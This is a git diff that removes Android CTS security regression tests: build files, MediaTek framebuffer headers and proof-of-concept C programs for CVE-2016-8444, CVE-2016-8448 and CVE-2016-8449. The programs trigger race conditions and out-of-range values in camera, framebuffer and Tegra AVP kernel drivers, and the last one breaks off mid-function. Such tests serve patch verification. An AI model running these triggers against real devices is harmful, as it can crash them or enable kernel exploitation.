@@ -1,30 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8444
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
deleted file mode 100644
index d681a43..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <unistd.h>
-#include <fcntl.h>
-#include <sys/syscall.h>
-#include <stdio.h>
-#include <string.h>
-#include <stdint.h>
-#include <pthread.h>
-
-#define MSM_SD_SHUTDOWN 0xc00856dd
-#define VIDIOC_MSM_ISPIF_CFG 0xc17056c0
-
-struct ispif_cfg_data {
-  int32_t  cfg_type;
-  union {
-    int reg_dump;                        /* ISPIF_ENABLE_REG_DUMP */
-    uint32_t csid_version;               /* ISPIF_INIT */
-    //struct msm_ispif_vfe_info vfe_info;  /* ISPIF_SET_VFE_INFO */
-    //struct msm_ispif_param_data params;  /* CFG, START, STOP */
-  };
-};
-
-long r[11];
-
-int fd;
-struct ispif_cfg_data data;
-
-void *worker_thread(void *arg) {
-
-  int arg1[3] =  {0};
-  switch ((long)arg) {
-  case 0:
-    data.cfg_type = 8; ////release
-    ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
-    break;
-  case 1:
-    ioctl(fd, MSM_SD_SHUTDOWN, &arg1);
-    break;
-  }
-  return NULL;
-}
-
-int main() {
-
-  int pid,i;
-  pthread_t th[4];
-  fd = open( "/dev/v4l-subdev17", 0x0ul );
-
-  printf("please wait for several seconds...\n");
-
-  while(1){
-
-    data.cfg_type = 2; ////init
-    data.csid_version = 1;
-    ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
-
-    for (i = 0; i < 2; i++) {
-      pthread_create(&th[i], 0, worker_thread, (void *)(long)i);
-      usleep(10);
-    }
-  }
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
deleted file mode 100644
index 4469fcc..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8448
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
deleted file mode 100644
index b33073c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
+++ /dev/null
@@ -1,397 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __MTKFB_H
-#define __MTKFB_H
-
-#include <linux/types.h>
-#include "mtkfb_info.h"
-
-
-/**NOTICE:
- * Must be consistent with bionic/libc/kernel/linux/common/mtkfb.h
- */
-#define MTK_FB_NO_ION_FD                 ((int)(~0U>>1))
-#define MTK_FB_NO_USE_LAEYR_ID			 ((int)(~0U>>1))
-#define FBCAPS_GENERIC_MASK              (0x00000fff)
-#define FBCAPS_LCDC_MASK                 (0x00fff000)
-#define FBCAPS_PANEL_MASK                (0xff000000)
-#define FBCAPS_MANUAL_UPDATE             (0x00001000)
-#define FBCAPS_SET_BACKLIGHT             (0x01000000)
-#define MTKFB_ERROR_IS_EARLY_SUSPEND     (0x12000000)
-/* --------------------------------------------------------------------------- */
-/* IOCTL commands. */
-#define MTK_IOW(num, dtype)     _IOW('O', num, dtype)
-#define MTK_IOR(num, dtype)     _IOR('O', num, dtype)
-#define MTK_IOWR(num, dtype)    _IOWR('O', num, dtype)
-#define MTK_IO(num)             _IO('O', num)
-#define MTKFB_QUEUE_OVERLAY_CONFIG			MTK_IOW(137, struct fb_overlay_config)
-/* -------------------------------------------------------------------------- */
-#define MTKFB_SET_OVERLAY_LAYER                MTK_IOW(0, struct fb_overlay_layer)
-#define MTKFB_TRIG_OVERLAY_OUT                 MTK_IO(1)
-#define MTKFB_SET_VIDEO_LAYERS                 MTK_IOW(2, struct fb_overlay_layer)
-#define MTKFB_CAPTURE_FRAMEBUFFER              MTK_IOW(3, unsigned long)
-#define MTKFB_CONFIG_IMMEDIATE_UPDATE          MTK_IOW(4, unsigned long)
-#define MTKFB_SET_MULTIPLE_LAYERS              MTK_IOW(5, struct fb_overlay_layer)
-#define MTKFB_REGISTER_OVERLAYBUFFER           MTK_IOW(6, struct fb_overlay_buffer_info)
-#define MTKFB_UNREGISTER_OVERLAYBUFFER         MTK_IOW(7, unsigned int)
-#define MTKFB_SET_ORIENTATION                  MTK_IOW(8, unsigned long)
-#define MTKFB_FBLAYER_ENABLE                   MTK_IOW(9, unsigned int)
-#define MTKFB_LOCK_FRONT_BUFFER                MTK_IO(10)
-#define MTKFB_UNLOCK_FRONT_BUFFER              MTK_IO(11)
-#define MTKFB_POWERON				           MTK_IO(12)
-#define MTKFB_POWEROFF				           MTK_IO(13)
-
-/* Fence/Ion, OVL decoupling */
-#define MTKFB_PREPARE_OVERLAY_BUFFER           MTK_IOW(14, struct fb_overlay_buffer)
-
-/* S3D control */
-#define MTKFB_SET_COMPOSING3D                  MTK_IOW(15, unsigned long)
-#define MTKFB_SET_S3D_FTM		               MTK_IOW(16, unsigned long)
-
-/* FM De-sense for EM and Normal mode */
-#define MTKFB_GET_DEFAULT_UPDATESPEED          MTK_IOR(17, unsigned long)
-#define MTKFB_GET_CURR_UPDATESPEED             MTK_IOR(18, unsigned long)
-/* for EM, not called change writecycle because DPI change pll ckl */
-#define MTKFB_CHANGE_UPDATESPEED               MTK_IOW(19, unsigned long)
-#define MTKFB_GET_INTERFACE_TYPE               MTK_IOR(20, unsigned long)	/* /0 DBI, 1 DPI, 2 MIPI */
-#define MTKFB_GET_POWERSTATE		           MTK_IOR(21, unsigned long)	/* /0: power off  1: power on */
-#define MTKFB_GET_DISPLAY_IF_INFORMATION       MTK_IOR(22, mtk_dispif_info_t)
-/*called before SET_OVERLAY each time, if true, hwc will not use FB_LAYER again*/
-#define MTKFB_AEE_LAYER_EXIST                  MTK_IOR(23, unsigned long)
-#define MTKFB_GET_OVERLAY_LAYER_INFO           MTK_IOR(24, struct fb_overlay_layer_info)
-#define MTKFB_FACTORY_AUTO_TEST                MTK_IOR(25, unsigned long)
-#define MTKFB_GET_FRAMEBUFFER_MVA              MTK_IOR(26, unsigned int)
-#define MTKFB_SLT_AUTO_CAPTURE                 MTK_IOWR(27, struct fb_slt_catpure)
-
-/*error handling*/
-#define MTKFB_META_RESTORE_SCREEN              MTK_IOW(101, unsigned long)
-#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT       MTK_IO(103)
-#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT_AEE   MTK_IO(104)
-
-/*restore bootlogo and character in meta mode*/
-#define MTKFB_META_SHOW_BOOTLOGO               MTK_IO(105)
-
-/*Extension FB active option*/
-#define FB_ACTIVATE_NO_UPDATE  512       /* Skip frame update */
-/**
- * Just for mt6589 Platform
- * @{
- */
-#define MTKFB_GETVFRAMEPHYSICAL                MTK_IOW(41, unsigned long)
-#define MTKFB_WAIT_OVERLAY_READY               MTK_IO(42)
-#define MTKFB_GET_OVERLAY_LAYER_COUNT          MTK_IOR(43, unsigned long)
-#define MTKFB_GET_VIDEOLAYER_SIZE              MTK_IOR(44, struct fb_overlay_layer)
-#define MTKFB_CAPTURE_VIDEOBUFFER              MTK_IOW(45, unsigned long)
-
-/* -------------------------------------------------------------------------- */
-/* Video Playback Mode */
-#define MTKFB_TV_POST_VIDEO_BUFFER             MTK_IOW(46, unsigned long)
-#define MTKFB_TV_LEAVE_VIDEO_PLAYBACK_MODE     MTK_IOW(47, unsigned long)
-/* For Factory Mode */
-#define MTKFB_IS_TV_CABLE_PLUG_IN              MTK_IOW(48, unsigned long)
-
-/* -------------------------------------------------------------------------- */
-#define MTKFB_BOOTANIMATION			           MTK_IO(49)
-#define MTKFB_GETFPS			               MTK_IOW(50, unsigned long)
-#define MTKFB_VSYNC                            MTK_IO(51)
-
-/* ----------------------------------------------------------------------FM De-sense for EM and Normal mode */
-#define MTKFB_FM_NOTIFY_FREQ                   MTK_IOW(52, unsigned long)	/* for Normal mode */
-#define MTKFB_RESET_UPDATESPEED                MTK_IO(53)
-#define MTKFB_SET_UI_LAYER_ALPHA               MTK_IOW(54, unsigned long)
-#define MTKFB_SET_UI_LAYER_SRCKEY              MTK_IOW(55, unsigned long)
-
-#define MTKFB_GET_MAX_DISPLAY_COUNT		       MTK_IOR(56, unsigned int)
-#define MTKFB_SET_FB_LAYER_SECURE              MTK_IOW(57, int)
-/**
- * @}
- */
-/* ---------------------------------------------------------------------- */
-
-/* -------------------------------------------------------------------------- */
-
-typedef enum {
-	MTK_FB_ORIENTATION_0 = 0,
-	MTK_FB_ORIENTATION_90 = 1,
-	MTK_FB_ORIENTATION_180 = 2,
-	MTK_FB_ORIENTATION_270 = 3,
-} MTK_FB_ORIENTATION;
-
-
-typedef enum {
-	MTK_FB_TV_SYSTEM_NTSC = 0,
-	MTK_FB_TV_SYSTEM_PAL = 1,
-} MTK_FB_TV_SYSTEM;
-
-
-typedef enum {
-	MTK_FB_TV_FMT_RGB565 = 0,
-	MTK_FB_TV_FMT_YUV420_SEQ = 1,
-	MTK_FB_TV_FMT_UYUV422 = 2,
-	MTK_FB_TV_FMT_YUV420_BLK = 3,
-} MTK_FB_TV_SRC_FORMAT;
-
-typedef enum {
-	LAYER_NORMAL_BUFFER = 0,
-	LAYER_SECURE_BUFFER = 1,
-	LAYER_PROTECTED_BUFFER = 2,
-	LAYER_SECURE_BUFFER_WITH_ALIGN = 0x10001,	/* the higher 16 bits =1 for adding 64 bytes alignment */
-} MTK_FB_OVL_LAYER_SECURE_MODE;
-
-typedef struct _disp_dfo_item {
-	char name[32];
-	int value;
-} disp_dfo_item_t;
-
-/* -------------------------------------------------------------------------- */
-struct fb_slt_catpure {
-	MTK_FB_FORMAT format;
-
-	volatile char *outputBuffer;
-	unsigned int wdma_width;
-	unsigned int wdma_height;
-};
-
-struct fb_scale {
-	unsigned int xscale, yscale;
-};
-
-struct fb_frame_offset {
-	unsigned int idx;
-	unsigned long offset;
-};
-
-struct fb_update_window {
-	unsigned int x, y;
-	unsigned int width, height;
-};
-
-typedef enum {
-	LAYER_2D = 0,
-	LAYER_3D_SBS_0 = 0x1,
-	LAYER_3D_SBS_90 = 0x2,
-	LAYER_3D_SBS_180 = 0x3,
-	LAYER_3D_SBS_270 = 0x4,
-	LAYER_3D_TAB_0 = 0x10,
-	LAYER_3D_TAB_90 = 0x20,
-	LAYER_3D_TAB_180 = 0x30,
-	LAYER_3D_TAB_270 = 0x40,
-} MTK_FB_LAYER_TYPE;
-
-typedef enum {
-	DISP_DIRECT_LINK_MODE,
-	DISP_DECOUPLE_MODE
-} MTK_DISP_MODE;
-struct fb_overlay_mode {
-	MTK_DISP_MODE mode;
-};
-
-typedef enum {			/* map sessions to scenairos in kernel driver */
-	DISP_SESSION_LCM = 1 << 0,	/* DSI0 */
-	DISP_SESSION_MEM = 1 << 1,	/* OVL0->WDMA0 */
-/* Extension mode, Dst buf is provided by user,for Wifi Display or other purpose */
-	DISP_SESSION_WFD = 1 << 2,
-	DISP_SESSION_MHL = 1 << 3,	/* DPI */
-	DISP_SESSION_LCM1 = 1 << 4,	/* DSI1 */
-	DISP_SESSION_MEM1 = 1 << 5,	/* OVL1->WDMA1 */
-	/* TODO:can be extended with other Session Id */
-	SESSION_MASK = 0xff & ~(1 << 6)
-} MTK_DISP_SESSION;
-
-struct fb_overlay_session {
-	unsigned int session;	/* one or more @MTK_DISP_SESSION combined */
-};
-
-struct fb_overlay_decouple {
-	MTK_DISP_MODE mode;
-	unsigned int session;
-};
-struct fb_overlay_buffer {
-	/* Input */
-	int layer_id;
-	unsigned int layer_en;
-	int ion_fd;
-	unsigned int cache_sync;
-	/* Output */
-	unsigned int index;
-	int fence_fd;
-};
-
-struct fb_overlay_layer {
-	unsigned int layer_id;
-	unsigned int layer_enable;
-
-	void *src_base_addr;
-	void *src_phy_addr;
-	unsigned int src_direct_link;
-	MTK_FB_FORMAT src_fmt;
-	unsigned int src_use_color_key;
-	unsigned int src_color_key;
-	unsigned int src_pitch;
-	unsigned int src_offset_x, src_offset_y;
-	unsigned int src_width, src_height;
-
-	unsigned int tgt_offset_x, tgt_offset_y;
-	unsigned int tgt_width, tgt_height;
-	MTK_FB_ORIENTATION layer_rotation;
-	MTK_FB_LAYER_TYPE layer_type;
-	MTK_FB_ORIENTATION video_rotation;
-
-	unsigned int isTdshp;	/* set to 1, will go through tdshp first, then layer blending, then to color */
-
-	int next_buff_idx;
-	int identity;
-	int connected_type;
-	unsigned int security;
-	unsigned int alpha_enable;
-	unsigned int alpha;
-	int fence_fd;		/* 8135 */
-	int ion_fd;		/* 8135 CL 2340210 */
-};
-
-struct fb_overlay_config {
-	int fence;
-	int time;
-	struct fb_overlay_layer layers[4];
-};
-
-struct fb_overlay_buffer_info {
-	unsigned int src_vir_addr;
-	unsigned int size;
-};
-
-struct fb_overlay_layer_info {
-	unsigned int layer_id;
-	unsigned int layer_enabled;	/* TO BE DEL */
-	unsigned int curr_en;
-	unsigned int next_en;
-	unsigned int hw_en;
-	int curr_idx;
-	int next_idx;
-	int hw_idx;
-	int curr_identity;
-	int next_identity;
-	int hw_identity;
-	int curr_conn_type;
-	int next_conn_type;
-	int hw_conn_type;
-	MTK_FB_ORIENTATION layer_rotation;
-};
-/* -------------------------------------------------------------------------- */
-
-struct fb_post_video_buffer {
-	void *phy_addr;
-	void *vir_addr;
-	MTK_FB_TV_SRC_FORMAT format;
-	unsigned int width, height;
-};
-
-#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
-extern unsigned int EnableVSyncLog;
-
-void mtkfb_log_enable(int enable);
-int mtkfb_set_backlight_mode(unsigned int mode);
-int mtkfb_set_backlight_level(unsigned int level);
-int mtkfb_get_debug_state(char *stringbuf, int buf_len);
-unsigned int mtkfb_fm_auto_test(void);
-void mtkfb_clear_lcm(void);
-#endif /* CONFIG_ARCH_MT6735 */
-
-#ifdef __KERNEL__
-
-#include <linux/completion.h>
-#include <linux/interrupt.h>
-#include <linux/workqueue.h>
-#include <linux/version.h>
-#include <../drivers/staging/android/sw_sync.h>
-
-
-#define MTKFB_DRIVER "mtkfb"
-
-enum mtkfb_state {
-	MTKFB_DISABLED = 0,
-	MTKFB_SUSPENDED = 99,
-	MTKFB_ACTIVE = 100
-};
-
-typedef enum {
-	MTKFB_LAYER_ENABLE_DIRTY = (1 << 0),
-	MTKFB_LAYER_FORMAT_DIRTY = (1 << 1),
-	MTKFB_LAYER_SET_DIRTY = (1 << 2),
-} MTKFB_LAYER_CONFIG_DIRTY;
-
-typedef struct {
-	struct work_struct work;
-	struct list_head list;
-	struct fb_overlay_config config;
-	struct sync_fence *fences[4];
-	struct ion_handle *ion_handles[4];
-	void *dev;
-} update_ovls_work_t;
-
-struct mtkfb_device {
-	int state;
-	void *fb_va_base;	/* MPU virtual address */
-	dma_addr_t fb_pa_base;	/* Bus physical address */
-	unsigned long fb_size_in_byte;
-	void *ovl_va_base;	/* MPU virtual address */
-	dma_addr_t ovl_pa_base;	/* Bus physical address */
-	unsigned long ovl_size_in_byte;
-
-	unsigned long layer_enable;
-	MTK_FB_FORMAT *layer_format;
-	unsigned int layer_config_dirty;
-
-	int xscale, yscale, mirror;	/* transformations.
-					   rotate is stored in fb_info->var */
-	u32 pseudo_palette[17];
-
-	struct fb_info *fb_info;	/* Linux fbdev framework data */
-	struct device *dev;
-
-	/* Android native fence support */
-	struct workqueue_struct *update_ovls_wq;
-	struct mutex timeline_lock;
-	struct sw_sync_timeline *timeline;
-	int timeline_max;
-	struct list_head pending_configs;	/* CL2340210 */
-	struct ion_client *ion_client;
-};
-
-#endif				/* __KERNEL__ */
-
-extern long hdmi_handle_cmd(unsigned int cmd, unsigned long arg);
-
-#if defined(CONFIG_ARCH_MT6797)
-extern unsigned int vramsize;
-#endif
-
-#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
-extern bool is_early_suspended;
-extern void mtkfb_waitVsync(void);
-extern bool is_ipoh_bootup;
-
-#ifdef CONFIG_OF
-int _parse_tag_videolfb(void);
-extern unsigned int islcmconnected;
-extern unsigned int vramsize;
-#else
-extern char *saved_command_line;
-#endif
-#endif /* CONFIG_ARCH_MT6735 */
-
-
-#endif				/* __MTKFB_H */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
deleted file mode 100644
index 61e7cfd..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
+++ /dev/null
@@ -1,101 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __MTKFB_INFO_H__
-#define __MTKFB_INFO_H__
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-
-	typedef enum {
-		DISPIF_TYPE_DBI = 0,
-		DISPIF_TYPE_DPI,
-		DISPIF_TYPE_DSI,
-		DISPIF_TYPE_DPI0,
-		DISPIF_TYPE_DPI1,
-		DISPIF_TYPE_DSI0,
-		DISPIF_TYPE_DSI1,
-		HDMI = 7,
-		HDMI_SMARTBOOK,
-		MHL,
-		DISPIF_TYPE_EPD,
-		SLIMPORT
-	} MTKFB_DISPIF_TYPE;
-
-	typedef enum {
-		MTKFB_DISPIF_PRIMARY_LCD = 0,
-		MTKFB_DISPIF_HDMI,
-		MTKFB_DISPIF_EPD,
-		MTKFB_MAX_DISPLAY_COUNT
-	} MTKFB_DISPIF_DEVICE_TYPE;
-
-	typedef enum {
-		DISPIF_FORMAT_RGB565 = 0,
-		DISPIF_FORMAT_RGB666,
-		DISPIF_FORMAT_RGB888
-	} MTKFB_DISPIF_FORMAT;
-
-
-	typedef enum {
-		DISPIF_MODE_VIDEO = 0,
-		DISPIF_MODE_COMMAND
-	} MTKFB_DISPIF_MODE;
-
-	typedef struct mtk_dispif_info {
-		unsigned int display_id;
-		unsigned int isHwVsyncAvailable;
-		MTKFB_DISPIF_TYPE displayType;
-		unsigned int displayWidth;
-		unsigned int displayHeight;
-		unsigned int displayFormat;
-		MTKFB_DISPIF_MODE displayMode;
-		unsigned int vsyncFPS;
-		unsigned int physicalWidth;
-		unsigned int physicalHeight;
-		unsigned int isConnected;
-/* this value is for DFO Multi-Resolution feature, which stores the original LCM Wdith */
-		unsigned int lcmOriginalWidth;
-/* this value is for DFO Multi-Resolution feature, which stores the original LCM Height */
-		unsigned int lcmOriginalHeight;
-	} mtk_dispif_info_t;
-
-#define MAKE_MTK_FB_FORMAT_ID(id, bpp)  (((id) << 8) | (bpp))
-
-	typedef enum {
-		MTK_FB_FORMAT_UNKNOWN = 0,
-
-		MTK_FB_FORMAT_RGB565 = MAKE_MTK_FB_FORMAT_ID(1, 2),
-		MTK_FB_FORMAT_RGB888 = MAKE_MTK_FB_FORMAT_ID(2, 3),
-		MTK_FB_FORMAT_BGR888 = MAKE_MTK_FB_FORMAT_ID(3, 3),
-		MTK_FB_FORMAT_ARGB8888 = MAKE_MTK_FB_FORMAT_ID(4, 4),
-		MTK_FB_FORMAT_ABGR8888 = MAKE_MTK_FB_FORMAT_ID(5, 4),
-		MTK_FB_FORMAT_YUV422 = MAKE_MTK_FB_FORMAT_ID(6, 2),
-		MTK_FB_FORMAT_XRGB8888 = MAKE_MTK_FB_FORMAT_ID(7, 4),
-		MTK_FB_FORMAT_XBGR8888 = MAKE_MTK_FB_FORMAT_ID(8, 4),
-		MTK_FB_FORMAT_UYVY = MAKE_MTK_FB_FORMAT_ID(9, 2),
-		MTK_FB_FORMAT_YUV420_P = MAKE_MTK_FB_FORMAT_ID(10, 2),
-		MTK_FB_FORMAT_YUY2 = MAKE_MTK_FB_FORMAT_ID(11, 2),
-		MTK_FB_FORMAT_BPP_MASK = 0xFF,
-	} MTK_FB_FORMAT;
-
-#define GET_MTK_FB_FORMAT_BPP(f)    ((f) & MTK_FB_FORMAT_BPP_MASK)
-
-
-#ifdef __cplusplus
-}
-#endif
-#endif				/* __DISP_DRV_H__ */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
deleted file mode 100644
index e5f675b..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <sys/mman.h>
-#include <fcntl.h>
-//#include <pthread.h>
-#include <sys/prctl.h>
-#include <unistd.h>
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <asm-generic/ioctl.h>
-#include "mtkfb.h"
-int main(int argc, char **argv) {
-    int fd = 0;
-    struct fb_overlay_layer layerInfo;
-    memset(&layerInfo, 0, sizeof(layerInfo));
-    fd = open("/dev/graphics/fb0", O_RDWR);
-    if (fd < 0) {
-		perror("open /dev/graphics/fb0");
-		exit(-1);
-    }
-    printf("Device file opened successfully\n");
-    printf("Trying to get layer info\n");
-    if(ioctl(fd, MTKFB_GET_OVERLAY_LAYER_INFO, &layerInfo) == -1) {
-        perror("ioctl MTKFB_GET_OVERLAY_LAYER_INFO failed");
-        exit(-2);
-    }
-    printf("Got layer info\n");
-    printf("Trying to set layer info\n");
-    // set any huge value here
-    int curr_val = 0xf1111111;
-    while(1) {
-        layerInfo.layer_id = curr_val;
-        if(ioctl(fd, MTKFB_SET_OVERLAY_LAYER, &layerInfo) == -1) {
-            perror("ioctl MTKFB_SET_OVERLAY_LAYER failed");
-            //exit(-2);
-        }
-        curr_val--;
-        if(curr_val == -1) {
-            break;
-        }
-    }
-    printf("Set layer info\n");
-    return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
deleted file mode 100644
index 20afa92..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8449
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
deleted file mode 100755
index 1e76b55..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <string.h>
-#include <errno.h>
-#include <stdlib.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sched.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <unistd.h>
-
-#define LOG(fmt, ...)   printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...)   printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-#define CLOSE_THREAD_NUM	100
-#define TRY_TIMES		900
-
-#define DEV "/dev/tegra_avpchannel"
-
-#define NVAVP_IOCTL_MAGIC		'n'
-
-struct nvavp_channel_open_args {
-	__u32 channel_fd;
-};
-
-#define NVAVP_IOCTL_CHANNEL_OPEN	_IOR(NVAVP_IOCTL_MAGIC, 0x73, \
-					struct nvavp_channel_open_args)
-
-int fd;
-pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
-
-static int set_affinity(int num)
-{
-	int ret = 0;
-	cpu_set_t mask;
-	CPU_ZERO(&mask);
-	CPU_SET(num, &mask);
-	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
-	if(ret == -1){
-		ERR("[-] set affinity failed");
-	}
-	return ret;
-}
-
-volatile int target_fd;
-volatile int attack;
-void* close_thread(void* no_use)
-{
-	set_affinity(1);
-
-	while(attack){
-		close(target_fd);	
-	}
-
-	return NULL;
-}
-
-int main()
-{
-	int i, try_time = TRY_TIMES, ret;
-	struct nvavp_channel_open_args o_args = { 0 };
-
-	/* bind_cpu */
-	set_affinity(0);
-
-	/* open dev */
-	fd = open(DEV, O_RDONLY);
-	if(fd == -1){
